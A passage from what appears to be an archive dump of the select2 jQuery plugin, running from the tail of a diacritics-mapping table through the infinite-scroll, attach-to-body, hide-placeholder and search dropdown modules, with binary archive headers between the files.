    '\u1EAE': 'A',
    '\u1EB4': 'A',
    '\u1EB2': 'A',
    '\u0226': 'A',
    '\u01E0': 'A',
    '\u00C4': 'A',
    '\u01DE': 'A',
    '\u1EA2': 'A',
    '\u00C5': 'A',
    '\u01FA': 'A',
    '\u01CD': 'A',
    '\u0200': 'A',
    '\u0202': 'A',
    '\u1EA0': 'A',
    '\u1EAC': 'A',
    '\u1EB6': 'A',
    '\u1E00': 'A',
    '\u0104': 'A',
    '\u023A': 'A',
    '\u2C6F': 'A',
    '\uA732': 'AA',
    '\u00C6': 'AE',
    '\u01FC': 'AE',
    '\u01E2': 'AE',
    '\uA734': 'AO',
    '\uA736': 'AU',
    '\uA738': 'AV',
    '\uA73A': 'AV',
    '\uA73C': 'AY',
    '\u24B7': 'B',
    '\uFF22': 'B',
    '\u1E02': 'B',
    '\u1E04': 'B',
    '\u1E06': 'B',
    '\u0243': 'B',
    '\u0182': 'B',
    '\u0181': 'B',
    '\u24B8': 'C',
    '\uFF23': 'C',
    '\u0106': 'C',
    '\u0108': 'C',
    '\u010A': 'C',
    '\u010C': 'C',
    '\u00C7': 'C',
    '\u1E08': 'C',
    '\u0187': 'C',
    '\u023B': 'C',
    '\uA73E': 'C',
    '\u24B9': 'D',
    '\uFF24': 'D',
    '\u1E0A': 'D',
    '\u010E': 'D',
    '\u1E0C': 'D',
    '\u1E10': 'D',
    '\u1E12': 'D',
    '\u1E0E': 'D',
    '\u0110': 'D',
    '\u018B': 'D',
    '\u018A': 'D',
    '\u0189': 'D',
    '\uA779': 'D',
    '\u01F1': 'DZ',
    '\u01C4': 'DZ',
    '\u01F2': 'Dz',
    '\u01C5': 'Dz',
    '\u24BA': 'E',
    '\uFF25': 'E',
    '\u00C8': 'E',
    '\u00C9': 'E',
    '\u00CA': 'E',
    '\u1EC0': 'E',
    '\u1EBE': 'E',
    '\u1EC4': 'E',
    '\u1EC2': 'E',
    '\u1EBC': 'E',
    '\u0112': 'E',
    '\u1E14': 'E',
    '\u1E16': 'E',
    '\u0114': 'E',
    '\u0116': 'E',
    '\u00CB': 'E',
    '\u1EBA': 'E',
    '\u011A': 'E',
    '\u0204': 'E',
    '\u0206': 'E',
    '\u1EB8': 'E',
    '\u1EC6': 'E',
    '\u0228': 'E',
    '\u1E1C': 'E',
    '\u0118': 'E',
    '\u1E18': 'E',
    '\u1E1A': 'E',
    '\u0190': 'E',
    '\u018E': 'E',
    '\u24BB': 'F',
    '\uFF26': 'F',
    '\u1E1E': 'F',
    '\u0191': 'F',
    '\uA77B': 'F',
    '\u24BC': 'G',
    '\uFF27': 'G',
    '\u01F4': 'G',
    '\u011C': 'G',
    '\u1E20': 'G',
    '\u011E': 'G',
    '\u0120': 'G',
    '\u01E6': 'G',
    '\u0122': 'G',
    '\u01E4': 'G',
    '\u0193': 'G',
    '\uA7A0': 'G',
    '\uA77D': 'G',
    '\uA77E': 'G',
    '\u24BD': 'H',
    '\uFF28': 'H',
    '\u0124': 'H',
    '\u1E22': 'H',
    '\u1E26': 'H',
    '\u021E': 'H',
    '\u1E24': 'H',
    '\u1E28': 'H',
    '\u1E2A': 'H',
    '\u0126': 'H',
    '\u2C67': 'H',
    '\u2C75': 'H',
    '\uA78D': 'H',
    '\u24BE': 'I',
    '\uFF29': 'I',
    '\u00CC': 'I',
    '\u00CD': 'I',
    '\u00CE': 'I',
    '\u0128': 'I',
    '\u012A': 'I',
    '\u012C': 'I',
    '\u0130': 'I',
    '\u00CF': 'I',
    '\u1E2E': 'I',
    '\u1EC8': 'I',
    '\u01CF': 'I',
    '\u0208': 'I',
    '\u020A': 'I',
    '\u1ECA': 'I',
    '\u012E': 'I',
    '\u1E2C': 'I',
    '\u0197': 'I',
    '\u24BF': 'J',
    '\uFF2A': 'J',
    '\u0134': 'J',
    '\u0248': 'J',
    '\u24C0': 'K',
    '\uFF2B': 'K',
    '\u1E30': 'K',
    '\u01E8': 'K',
    '\u1E32': 'K',
    '\u0136': 'K',
    '\u1E34': 'K',
    '\u0198': 'K',
    '\u2C69': 'K',
    '\uA740': 'K',
    '\uA742': 'K',
    '\uA744': 'K',
    '\uA7A2': 'K',
    '\u24C1': 'L',
    '\uFF2C': 'L',
    '\u013F': 'L',
    '\u0139': 'L',
    '\u013D': 'L',
    '\u1E36': 'L',
    '\u1E38': 'L',
    '\u013B': 'L',
    '\u1E3C': 'L',
    '\u1E3A': 'L',
    '\u0141': 'L',
    '\u023D': 'L',
    '\u2C62': 'L',
    '\u2C60': 'L',
    '\uA748': 'L',
    '\uA746': 'L',
    '\uA780': 'L',
    '\u01C7': 'LJ',
    '\u01C8': 'Lj',
    '\u24C2': 'M',
    '\uFF2D': 'M',
    '\u1E3E': 'M',
    '\u1E40': 'M',
    '\u1E42': 'M',
    '\u2C6E': 'M',
    '\u019C': 'M',
    '\u24C3': 'N',
    '\uFF2E': 'N',
    '\u01F8': 'N',
    '\u0143': 'N',
    '\u00D1': 'N',
    '\u1E44': 'N',
    '\u0147': 'N',
    '\u1E46': 'N',
    '\u0145': 'N',
    '\u1E4A': 'N',
    '\u1E48': 'N',
    '\u0220': 'N',
    '\u019D': 'N',
    '\uA790': 'N',
    '\uA7A4': 'N',
    '\u01CA': 'NJ',
    '\u01CB': 'Nj',
    '\u24C4': 'O',
    '\uFF2F': 'O',
    '\u00D2': 'O',
    '\u00D3': 'O',
    '\u00D4': 'O',
    '\u1ED2': 'O',
    '\u1ED0': 'O',
    '\u1ED6': 'O',
    '\u1ED4': 'O',
    '\u00D5': 'O',
    '\u1E4C': 'O',
    '\u022C': 'O',
    '\u1E4E': 'O',
    '\u014C': 'O',
    '\u1E50': 'O',
    '\u1E52': 'O',
    '\u014E': 'O',
    '\u022E': 'O',
    '\u0230': 'O',
    '\u00D6': 'O',
    '\u022A': 'O',
    '\u1ECE': 'O',
    '\u0150': 'O',
    '\u01D1': 'O',
    '\u020C': 'O',
    '\u020E': 'O',
    '\u01A0': 'O',
    '\u1EDC': 'O',
    '\u1EDA': 'O',
    '\u1EE0': 'O',
    '\u1EDE': 'O',
    '\u1EE2': 'O',
    '\u1ECC': 'O',
    '\u1ED8': 'O',
    '\u01EA': 'O',
    '\u01EC': 'O',
    '\u00D8': 'O',
    '\u01FE': 'O',
    '\u0186': 'O',
    '\u019F': 'O',
    '\uA74A': 'O',
    '\uA74C': 'O',
    '\u01A2': 'OI',
    '\uA74E': 'OO',
    '\u0222': 'OU',
    '\u24C5': 'P',
    '\uFF30': 'P',
    '\u1E54': 'P',
    '\u1E56': 'P',
    '\u01A4': 'P',
    '\u2C63': 'P',
    '\uA750': 'P',
    '\uA752': 'P',
    '\uA754': 'P',
    '\u24C6': 'Q',
    '\uFF31': 'Q',
    '\uA756': 'Q',
    '\uA758': 'Q',
    '\u024A': 'Q',
    '\u24C7': 'R',
    '\uFF32': 'R',
    '\u0154': 'R',
    '\u1E58': 'R',
    '\u0158': 'R',
    '\u0210': 'R',
    '\u0212': 'R',
    '\u1E5A': 'R',
    '\u1E5C': 'R',
    '\u0156': 'R',
    '\u1E5E': 'R',
    '\u024C': 'R',
    '\u2C64': 'R',
    '\uA75A': 'R',
    '\uA7A6': 'R',
    '\uA782': 'R',
    '\u24C8': 'S',
    '\uFF33': 'S',
    '\u1E9E': 'S',
    '\u015A': 'S',
    '\u1E64': 'S',
    '\u015C': 'S',
    '\u1E60': 'S',
    '\u0160': 'S',
    '\u1E66': 'S',
    '\u1E62': 'S',
    '\u1E68': 'S',
    '\u0218': 'S',
    '\u015E': 'S',
    '\u2C7E': 'S',
    '\uA7A8': 'S',
    '\uA784': 'S',
    '\u24C9': 'T',
    '\uFF34': 'T',
    '\u1E6A': 'T',
    '\u0164': 'T',
    '\u1E6C': 'T',
    '\u021A': 'T',
    '\u0162': 'T',
    '\u1E70': 'T',
    '\u1E6E': 'T',
    '\u0166': 'T',
    '\u01AC': 'T',
    '\u01AE': 'T',
    '\u023E': 'T',
    '\uA786': 'T',
    '\uA728': 'TZ',
    '\u24CA': 'U',
    '\uFF35': 'U',
    '\u00D9': 'U',
    '\u00DA': 'U',
    '\u00DB': 'U',
    '\u0168': 'U',
    '\u1E78': 'U',
    '\u016A': 'U',
    '\u1E7A': 'U',
    '\u016C': 'U',
    '\u00DC': 'U',
    '\u01DB': 'U',
    '\u01D7': 'U',
    '\u01D5': 'U',
    '\u01D9': 'U',
    '\u1EE6': 'U',
    '\u016E': 'U',
    '\u0170': 'U',
    '\u01D3': 'U',
    '\u0214': 'U',
    '\u0216': 'U',
    '\u01AF': 'U',
    '\u1EEA': 'U',
    '\u1EE8': 'U',
    '\u1EEE': 'U',
    '\u1EEC': 'U',
    '\u1EF0': 'U',
    '\u1EE4': 'U',
    '\u1E72': 'U',
    '\u0172': 'U',
    '\u1E76': 'U',
    '\u1E74': 'U',
    '\u0244': 'U',
    '\u24CB': 'V',
    '\uFF36': 'V',
    '\u1E7C': 'V',
    '\u1E7E': 'V',
    '\u01B2': 'V',
    '\uA75E': 'V',
    '\u0245': 'V',
    '\uA760': 'VY',
    '\u24CC': 'W',
    '\uFF37': 'W',
    '\u1E80': 'W',
    '\u1E82': 'W',
    '\u0174': 'W',
    '\u1E86': 'W',
    '\u1E84': 'W',
    '\u1E88': 'W',
    '\u2C72': 'W',
    '\u24CD': 'X',
    '\uFF38': 'X',
    '\u1E8A': 'X',
    '\u1E8C': 'X',
    '\u24CE': 'Y',
    '\uFF39': 'Y',
    '\u1EF2': 'Y',
    '\u00DD': 'Y',
    '\u0176': 'Y',
    '\u1EF8': 'Y',
    '\u0232': 'Y',
    '\u1E8E': 'Y',
    '\u0178': 'Y',
    '\u1EF6': 'Y',
    '\u1EF4': 'Y',
    '\u01B3': 'Y',
    '\u024E': 'Y',
    '\u1EFE': 'Y',
    '\u24CF': 'Z',
    '\uFF3A': 'Z',
    '\u0179': 'Z',
    '\u1E90': 'Z',
    '\u017B': 'Z',
    '\u017D': 'Z',
    '\u1E92': 'Z',
    '\u1E94': 'Z',
    '\u01B5': 'Z',
    '\u0224': 'Z',
    '\u2C7F': 'Z',
    '\u2C6B': 'Z',
    '\uA762': 'Z',
    '\u24D0': 'a',
    '\uFF41': 'a',
    '\u1E9A': 'a',
    '\u00E0': 'a',
    '\u00E1': 'a',
    '\u00E2': 'a',
    '\u1EA7': 'a',
    '\u1EA5': 'a',
    '\u1EAB': 'a',
    '\u1EA9': 'a',
    '\u00E3': 'a',
    '\u0101': 'a',
    '\u0103': 'a',
    '\u1EB1': 'a',
    '\u1EAF': 'a',
    '\u1EB5': 'a',
    '\u1EB3': 'a',
    '\u0227': 'a',
    '\u01E1': 'a',
    '\u00E4': 'a',
    '\u01DF': 'a',
    '\u1EA3': 'a',
    '\u00E5': 'a',
    '\u01FB': 'a',
    '\u01CE': 'a',
    '\u0201': 'a',
    '\u0203': 'a',
    '\u1EA1': 'a',
    '\u1EAD': 'a',
    '\u1EB7': 'a',
    '\u1E01': 'a',
    '\u0105': 'a',
    '\u2C65': 'a',
    '\u0250': 'a',
    '\uA733': 'aa',
    '\u00E6': 'ae',
    '\u01FD': 'ae',
    '\u01E3': 'ae',
    '\uA735': 'ao',
    '\uA737': 'au',
    '\uA739': 'av',
    '\uA73B': 'av',
    '\uA73D': 'ay',
    '\u24D1': 'b',
    '\uFF42': 'b',
    '\u1E03': 'b',
    '\u1E05': 'b',
    '\u1E07': 'b',
    '\u0180': 'b',
    '\u0183': 'b',
    '\u0253': 'b',
    '\u24D2': 'c',
    '\uFF43': 'c',
    '\u0107': 'c',
    '\u0109': 'c',
    '\u010B': 'c',
    '\u010D': 'c',
    '\u00E7': 'c',
    '\u1E09': 'c',
    '\u0188': 'c',
    '\u023C': 'c',
    '\uA73F': 'c',
    '\u2184': 'c',
    '\u24D3': 'd',
    '\uFF44': 'd',
    '\u1E0B': 'd',
    '\u010F': 'd',
    '\u1E0D': 'd',
    '\u1E11': 'd',
    '\u1E13': 'd',
    '\u1E0F': 'd',
    '\u0111': 'd',
    '\u018C': 'd',
    '\u0256': 'd',
    '\u0257': 'd',
    '\uA77A': 'd',
    '\u01F3': 'dz',
    '\u01C6': 'dz',
    '\u24D4': 'e',
    '\uFF45': 'e',
    '\u00E8': 'e',
    '\u00E9': 'e',
    '\u00EA': 'e',
    '\u1EC1': 'e',
    '\u1EBF': 'e',
    '\u1EC5': 'e',
    '\u1EC3': 'e',
    '\u1EBD': 'e',
    '\u0113': 'e',
    '\u1E15': 'e',
    '\u1E17': 'e',
    '\u0115': 'e',
    '\u0117': 'e',
    '\u00EB': 'e',
    '\u1EBB': 'e',
    '\u011B': 'e',
    '\u0205': 'e',
    '\u0207': 'e',
    '\u1EB9': 'e',
    '\u1EC7': 'e',
    '\u0229': 'e',
    '\u1E1D': 'e',
    '\u0119': 'e',
    '\u1E19': 'e',
    '\u1E1B': 'e',
    '\u0247': 'e',
    '\u025B': 'e',
    '\u01DD': 'e',
    '\u24D5': 'f',
    '\uFF46': 'f',
    '\u1E1F': 'f',
    '\u0192': 'f',
    '\uA77C': 'f',
    '\u24D6': 'g',
    '\uFF47': 'g',
    '\u01F5': 'g',
    '\u011D': 'g',
    '\u1E21': 'g',
    '\u011F': 'g',
    '\u0121': 'g',
    '\u01E7': 'g',
    '\u0123': 'g',
    '\u01E5': 'g',
    '\u0260': 'g',
    '\uA7A1': 'g',
    '\u1D79': 'g',
    '\uA77F': 'g',
    '\u24D7': 'h',
    '\uFF48': 'h',
    '\u0125': 'h',
    '\u1E23': 'h',
    '\u1E27': 'h',
    '\u021F': 'h',
    '\u1E25': 'h',
    '\u1E29': 'h',
    '\u1E2B': 'h',
    '\u1E96': 'h',
    '\u0127': 'h',
    '\u2C68': 'h',
    '\u2C76': 'h',
    '\u0265': 'h',
    '\u0195': 'hv',
    '\u24D8': 'i',
    '\uFF49': 'i',
    '\u00EC': 'i',
    '\u00ED': 'i',
    '\u00EE': 'i',
    '\u0129': 'i',
    '\u012B': 'i',
    '\u012D': 'i',
    '\u00EF': 'i',
    '\u1E2F': 'i',
    '\u1EC9': 'i',
    '\u01D0': 'i',
    '\u0209': 'i',
    '\u020B': 'i',
    '\u1ECB': 'i',
    '\u012F': 'i',
    '\u1E2D': 'i',
    '\u0268': 'i',
    '\u0131': 'i',
    '\u24D9': 'j',
    '\uFF4A': 'j',
    '\u0135': 'j',
    '\u01F0': 'j',
    '\u0249': 'j',
    '\u24DA': 'k',
    '\uFF4B': 'k',
    '\u1E31': 'k',
    '\u01E9': 'k',
    '\u1E33': 'k',
    '\u0137': 'k',
    '\u1E35': 'k',
    '\u0199': 'k',
    '\u2C6A': 'k',
    '\uA741': 'k',
    '\uA743': 'k',
    '\uA745': 'k',
    '\uA7A3': 'k',
    '\u24DB': 'l',
    '\uFF4C': 'l',
    '\u0140': 'l',
    '\u013A': 'l',
    '\u013E': 'l',
    '\u1E37': 'l',
    '\u1E39': 'l',
    '\u013C': 'l',
    '\u1E3D': 'l',
    '\u1E3B': 'l',
    '\u017F': 'l',
    '\u0142': 'l',
    '\u019A': 'l',
    '\u026B': 'l',
    '\u2C61': 'l',
    '\uA749': 'l',
    '\uA781': 'l',
    '\uA747': 'l',
    '\u01C9': 'lj',
    '\u24DC': 'm',
    '\uFF4D': 'm',
    '\u1E3F': 'm',
    '\u1E41': 'm',
    '\u1E43': 'm',
    '\u0271': 'm',
    '\u026F': 'm',
    '\u24DD': 'n',
    '\uFF4E': 'n',
    '\u01F9': 'n',
    '\u0144': 'n',
    '\u00F1': 'n',
    '\u1E45': 'n',
    '\u0148': 'n',
    '\u1E47': 'n',
    '\u0146': 'n',
    '\u1E4B': 'n',
    '\u1E49': 'n',
    '\u019E': 'n',
    '\u0272': 'n',
    '\u0149': 'n',
    '\uA791': 'n',
    '\uA7A5': 'n',
    '\u01CC': 'nj',
    '\u24DE': 'o',
    '\uFF4F': 'o',
    '\u00F2': 'o',
    '\u00F3': 'o',
    '\u00F4': 'o',
    '\u1ED3': 'o',
    '\u1ED1': 'o',
    '\u1ED7': 'o',
    '\u1ED5': 'o',
    '\u00F5': 'o',
    '\u1E4D': 'o',
    '\u022D': 'o',
    '\u1E4F': 'o',
    '\u014D': 'o',
    '\u1E51': 'o',
    '\u1E53': 'o',
    '\u014F': 'o',
    '\u022F': 'o',
    '\u0231': 'o',
    '\u00F6': 'o',
    '\u022B': 'o',
    '\u1ECF': 'o',
    '\u0151': 'o',
    '\u01D2': 'o',
    '\u020D': 'o',
    '\u020F': 'o',
    '\u01A1': 'o',
    '\u1EDD': 'o',
    '\u1EDB': 'o',
    '\u1EE1': 'o',
    '\u1EDF': 'o',
    '\u1EE3': 'o',
    '\u1ECD': 'o',
    '\u1ED9': 'o',
    '\u01EB': 'o',
    '\u01ED': 'o',
    '\u00F8': 'o',
    '\u01FF': 'o',
    '\u0254': 'o',
    '\uA74B': 'o',
    '\uA74D': 'o',
    '\u0275': 'o',
    '\u01A3': 'oi',
    '\u0223': 'ou',
    '\uA74F': 'oo',
    '\u24DF': 'p',
    '\uFF50': 'p',
    '\u1E55': 'p',
    '\u1E57': 'p',
    '\u01A5': 'p',
    '\u1D7D': 'p',
    '\uA751': 'p',
    '\uA753': 'p',
    '\uA755': 'p',
    '\u24E0': 'q',
    '\uFF51': 'q',
    '\u024B': 'q',
    '\uA757': 'q',
    '\uA759': 'q',
    '\u24E1': 'r',
    '\uFF52': 'r',
    '\u0155': 'r',
    '\u1E59': 'r',
    '\u0159': 'r',
    '\u0211': 'r',
    '\u0213': 'r',
    '\u1E5B': 'r',
    '\u1E5D': 'r',
    '\u0157': 'r',
    '\u1E5F': 'r',
    '\u024D': 'r',
    '\u027D': 'r',
    '\uA75B': 'r',
    '\uA7A7': 'r',
    '\uA783': 'r',
    '\u24E2': 's',
    '\uFF53': 's',
    '\u00DF': 's',
    '\u015B': 's',
    '\u1E65': 's',
    '\u015D': 's',
    '\u1E61': 's',
    '\u0161': 's',
    '\u1E67': 's',
    '\u1E63': 's',
    '\u1E69': 's',
    '\u0219': 's',
    '\u015F': 's',
    '\u023F': 's',
    '\uA7A9': 's',
    '\uA785': 's',
    '\u1E9B': 's',
    '\u24E3': 't',
    '\uFF54': 't',
    '\u1E6B': 't',
    '\u1E97': 't',
    '\u0165': 't',
    '\u1E6D': 't',
    '\u021B': 't',
    '\u0163': 't',
    '\u1E71': 't',
    '\u1E6F': 't',
    '\u0167': 't',
    '\u01AD': 't',
    '\u0288': 't',
    '\u2C66': 't',
    '\uA787': 't',
    '\uA729': 'tz',
    '\u24E4': 'u',
    '\uFF55': 'u',
    '\u00F9': 'u',
    '\u00FA': 'u',
    '\u00FB': 'u',
    '\u0169': 'u',
    '\u1E79': 'u',
    '\u016B': 'u',
    '\u1E7B': 'u',
    '\u016D': 'u',
    '\u00FC': 'u',
    '\u01DC': 'u',
    '\u01D8': 'u',
    '\u01D6': 'u',
    '\u01DA': 'u',
    '\u1EE7': 'u',
    '\u016F': 'u',
    '\u0171': 'u',
    '\u01D4': 'u',
    '\u0215': 'u',
    '\u0217': 'u',
    '\u01B0': 'u',
    '\u1EEB': 'u',
    '\u1EE9': 'u',
    '\u1EEF': 'u',
    '\u1EED': 'u',
    '\u1EF1': 'u',
    '\u1EE5': 'u',
    '\u1E73': 'u',
    '\u0173': 'u',
    '\u1E77': 'u',
    '\u1E75': 'u',
    '\u0289': 'u',
    '\u24E5': 'v',
    '\uFF56': 'v',
    '\u1E7D': 'v',
    '\u1E7F': 'v',
    '\u028B': 'v',
    '\uA75F': 'v',
    '\u028C': 'v',
    '\uA761': 'vy',
    '\u24E6': 'w',
    '\uFF57': 'w',
    '\u1E81': 'w',
    '\u1E83': 'w',
    '\u0175': 'w',
    '\u1E87': 'w',
    '\u1E85': 'w',
    '\u1E98': 'w',
    '\u1E89': 'w',
    '\u2C73': 'w',
    '\u24E7': 'x',
    '\uFF58': 'x',
    '\u1E8B': 'x',
    '\u1E8D': 'x',
    '\u24E8': 'y',
    '\uFF59': 'y',
    '\u1EF3': 'y',
    '\u00FD': 'y',
    '\u0177': 'y',
    '\u1EF9': 'y',
    '\u0233': 'y',
    '\u1E8F': 'y',
    '\u00FF': 'y',
    '\u1EF7': 'y',
    '\u1E99': 'y',
    '\u1EF5': 'y',
    '\u01B4': 'y',
    '\u024F': 'y',
    '\u1EFF': 'y',
    '\u24E9': 'z',
    '\uFF5A': 'z',
    '\u017A': 'z',
    '\u1E91': 'z',
    '\u017C': 'z',
    '\u017E': 'z',
    '\u1E93': 'z',
    '\u1E95': 'z',
    '\u01B6': 'z',
    '\u0225': 'z',
    '\u0240': 'z',
    '\u2C6C': 'z',
    '\uA763': 'z',
    '\u0386': '\u0391',
    '\u0388': '\u0395',
    '\u0389': '\u0397',
    '\u038A': '\u0399',
    '\u03AA': '\u0399',
    '\u038C': '\u039F',
    '\u038E': '\u03A5',
    '\u03AB': '\u03A5',
    '\u038F': '\u03A9',
    '\u03AC': '\u03B1',
    '\u03AD': '\u03B5',
    '\u03AE': '\u03B7',
    '\u03AF': '\u03B9',
    '\u03CA': '\u03B9',
    '\u0390': '\u03B9',
    '\u03CC': '\u03BF',
    '\u03CD': '\u03C5',
    '\u03CB': '\u03C5',
    '\u03B0': '\u03C5',
    '\u03C9': '\u03C9',
    '\u03C2': '\u03C3'
  };

  return diacritics;
});
PK�}�\��n���%js/select2/dropdown/infiniteScroll.jsnu�[���define([
  'jquery'
], function ($) {
  function InfiniteScroll (decorated, $element, options, dataAdapter) {
    this.lastParams = {};

    decorated.call(this, $element, options, dataAdapter);

    this.$loadingMore = this.createLoadingMore();
    this.loading = false;
  }

  InfiniteScroll.prototype.append = function (decorated, data) {
    this.$loadingMore.remove();
    this.loading = false;

    decorated.call(this, data);

    if (this.showLoadingMore(data)) {
      this.$results.append(this.$loadingMore);
    }
  };

  InfiniteScroll.prototype.bind = function (decorated, container, $container) {
    var self = this;

    decorated.call(this, container, $container);

    container.on('query', function (params) {
      self.lastParams = params;
      self.loading = true;
    });

    container.on('query:append', function (params) {
      self.lastParams = params;
      self.loading = true;
    });

    this.$results.on('scroll', function () {
      var isLoadMoreVisible = $.contains(
        document.documentElement,
        self.$loadingMore[0]
      );

      if (self.loading || !isLoadMoreVisible) {
        return;
      }

      var currentOffset = self.$results.offset().top +
        self.$results.outerHeight(false);
      var loadingMoreOffset = self.$loadingMore.offset().top +
        self.$loadingMore.outerHeight(false);

      if (currentOffset + 50 >= loadingMoreOffset) {
        self.loadMore();
      }
    });
  };

  InfiniteScroll.prototype.loadMore = function () {
    this.loading = true;

    var params = $.extend({}, {page: 1}, this.lastParams);

    params.page++;

    this.trigger('query:append', params);
  };

  InfiniteScroll.prototype.showLoadingMore = function (_, data) {
    return data.pagination && data.pagination.more;
  };

  InfiniteScroll.prototype.createLoadingMore = function () {
    var $option = $(
      '<li ' +
      'class="select2-results__option select2-results__option--load-more"' +
      'role="treeitem" aria-disabled="true"></li>'
    );

    var message = this.options.get('translations').get('loadingMore');

    $option.html(message(this.lastParams));

    return $option;
  };

  return InfiniteScroll;
});
PK�}�\��B��!js/select2/dropdown/attachBody.jsnu�[���define([
  'jquery',
  '../utils'
], function ($, Utils) {
  function AttachBody (decorated, $element, options) {
    this.$dropdownParent = options.get('dropdownParent') || $(document.body);

    decorated.call(this, $element, options);
  }

  AttachBody.prototype.bind = function (decorated, container, $container) {
    var self = this;

    var setupResultsEvents = false;

    decorated.call(this, container, $container);

    container.on('open', function () {
      self._showDropdown();
      self._attachPositioningHandler(container);

      if (!setupResultsEvents) {
        setupResultsEvents = true;

        container.on('results:all', function () {
          self._positionDropdown();
          self._resizeDropdown();
        });

        container.on('results:append', function () {
          self._positionDropdown();
          self._resizeDropdown();
        });
      }
    });

    container.on('close', function () {
      self._hideDropdown();
      self._detachPositioningHandler(container);
    });

    this.$dropdownContainer.on('mousedown', function (evt) {
      evt.stopPropagation();
    });
  };

  AttachBody.prototype.destroy = function (decorated) {
    decorated.call(this);

    this.$dropdownContainer.remove();
  };

  AttachBody.prototype.position = function (decorated, $dropdown, $container) {
    // Clone all of the container classes
    $dropdown.attr('class', $container.attr('class'));

    $dropdown.removeClass('select2');
    $dropdown.addClass('select2-container--open');

    $dropdown.css({
      position: 'absolute',
      top: -999999
    });

    this.$container = $container;
  };

  AttachBody.prototype.render = function (decorated) {
    var $container = $('<span></span>');

    var $dropdown = decorated.call(this);
    $container.append($dropdown);

    this.$dropdownContainer = $container;

    return $container;
  };

  AttachBody.prototype._hideDropdown = function (decorated) {
    this.$dropdownContainer.detach();
  };

  AttachBody.prototype._attachPositioningHandler =
      function (decorated, container) {
    var self = this;

    var scrollEvent = 'scroll.select2.' + container.id;
    var resizeEvent = 'resize.select2.' + container.id;
    var orientationEvent = 'orientationchange.select2.' + container.id;

    var $watchers = this.$container.parents().filter(Utils.hasScroll);
    $watchers.each(function () {
      Utils.StoreData(this, 'select2-scroll-position', {
        x: $(this).scrollLeft(),
        y: $(this).scrollTop()
      });
    });

    $watchers.on(scrollEvent, function (ev) {
      var position = Utils.GetData(this, 'select2-scroll-position');
      $(this).scrollTop(position.y);
    });

    $(window).on(scrollEvent + ' ' + resizeEvent + ' ' + orientationEvent,
      function (e) {
      self._positionDropdown();
      self._resizeDropdown();
    });
  };

  AttachBody.prototype._detachPositioningHandler =
      function (decorated, container) {
    var scrollEvent = 'scroll.select2.' + container.id;
    var resizeEvent = 'resize.select2.' + container.id;
    var orientationEvent = 'orientationchange.select2.' + container.id;

    var $watchers = this.$container.parents().filter(Utils.hasScroll);
    $watchers.off(scrollEvent);

    $(window).off(scrollEvent + ' ' + resizeEvent + ' ' + orientationEvent);
  };

  AttachBody.prototype._positionDropdown = function () {
    var $window = $(window);

    var isCurrentlyAbove = this.$dropdown.hasClass('select2-dropdown--above');
    var isCurrentlyBelow = this.$dropdown.hasClass('select2-dropdown--below');

    var newDirection = null;

    var offset = this.$container.offset();

    offset.bottom = offset.top + this.$container.outerHeight(false);

    var container = {
      height: this.$container.outerHeight(false)
    };

    container.top = offset.top;
    container.bottom = offset.top + container.height;

    var dropdown = {
      height: this.$dropdown.outerHeight(false)
    };

    var viewport = {
      top: $window.scrollTop(),
      bottom: $window.scrollTop() + $window.height()
    };

    var enoughRoomAbove = viewport.top < (offset.top - dropdown.height);
    var enoughRoomBelow = viewport.bottom > (offset.bottom + dropdown.height);

    var css = {
      left: offset.left,
      top: container.bottom
    };

    // Determine what the parent element is to use for calciulating the offset
    var $offsetParent = this.$dropdownParent;

    // For statically positoned elements, we need to get the element
    // that is determining the offset
    if ($offsetParent.css('position') === 'static') {
      $offsetParent = $offsetParent.offsetParent();
    }

    var parentOffset = $offsetParent.offset();

    css.top -= parentOffset.top;
    css.left -= parentOffset.left;

    if (!isCurrentlyAbove && !isCurrentlyBelow) {
      newDirection = 'below';
    }

    if (!enoughRoomBelow && enoughRoomAbove && !isCurrentlyAbove) {
      newDirection = 'above';
    } else if (!enoughRoomAbove && enoughRoomBelow && isCurrentlyAbove) {
      newDirection = 'below';
    }

    if (newDirection == 'above' ||
      (isCurrentlyAbove && newDirection !== 'below')) {
      css.top = container.top - parentOffset.top - dropdown.height;
    }

    if (newDirection != null) {
      this.$dropdown
        .removeClass('select2-dropdown--below select2-dropdown--above')
        .addClass('select2-dropdown--' + newDirection);
      this.$container
        .removeClass('select2-container--below select2-container--above')
        .addClass('select2-container--' + newDirection);
    }

    this.$dropdownContainer.css(css);
  };

  AttachBody.prototype._resizeDropdown = function () {
    var css = {
      width: this.$container.outerWidth(false) + 'px'
    };

    if (this.options.get('dropdownAutoWidth')) {
      css.minWidth = css.width;
      css.position = 'relative';
      css.width = 'auto';
    }

    this.$dropdown.css(css);
  };

  AttachBody.prototype._showDropdown = function (decorated) {
    this.$dropdownContainer.appendTo(this.$dropdownParent);

    this._positionDropdown();
    this._resizeDropdown();
  };

  return AttachBody;
});
PK�}�\��K���&js/select2/dropdown/hidePlaceholder.jsnu�[���define([

], function () {
  function HidePlaceholder (decorated, $element, options, dataAdapter) {
    this.placeholder = this.normalizePlaceholder(options.get('placeholder'));

    decorated.call(this, $element, options, dataAdapter);
  }

  HidePlaceholder.prototype.append = function (decorated, data) {
    data.results = this.removePlaceholder(data.results);

    decorated.call(this, data);
  };

  HidePlaceholder.prototype.normalizePlaceholder = function (_, placeholder) {
    if (typeof placeholder === 'string') {
      placeholder = {
        id: '',
        text: placeholder
      };
    }

    return placeholder;
  };

  HidePlaceholder.prototype.removePlaceholder = function (_, data) {
    var modifiedData = data.slice(0);

    for (var d = data.length - 1; d >= 0; d--) {
      var item = data[d];

      if (this.placeholder.id === item.id) {
        modifiedData.splice(d, 1);
      }
    }

    return modifiedData;
  };

  return HidePlaceholder;
});
PK�}�\Ow�4
4
js/select2/dropdown/search.jsnu�[���define([
  'jquery',
  '../utils'
], function ($, Utils) {
  function Search () { }

  Search.prototype.render = function (decorated) {
    var $rendered = decorated.call(this);

    var $search = $(
      '<span class="select2-search select2-search--dropdown">' +
        '<input class="select2-search__field" type="search" tabindex="-1"' +
        ' autocomplete="off" autocorrect="off" autocapitalize="none"' +
        ' spellcheck="false" role="textbox" />' +
      '</span>'
    );

    this.$searchContainer = $search;
    this.$search = $search.find('input');

    $rendered.prepend($search);

    return $rendered;
  };

  Search.prototype.bind = function (decorated, container, $container) {
    var self = this;

    decorated.call(this, container, $container);

    this.$search.on('keydown', function (evt) {
      self.trigger('keypress', evt);

      self._keyUpPrevented = evt.isDefaultPrevented();
    });

    // Workaround for browsers which do not support the `input` event
    // This will prevent double-triggering of events for browsers which support
    // both the `keyup` and `input` events.
    this.$search.on('input', function (evt) {
      // Unbind the duplicated `keyup` event
      $(this).off('keyup');
    });

    this.$search.on('keyup input', function (evt) {
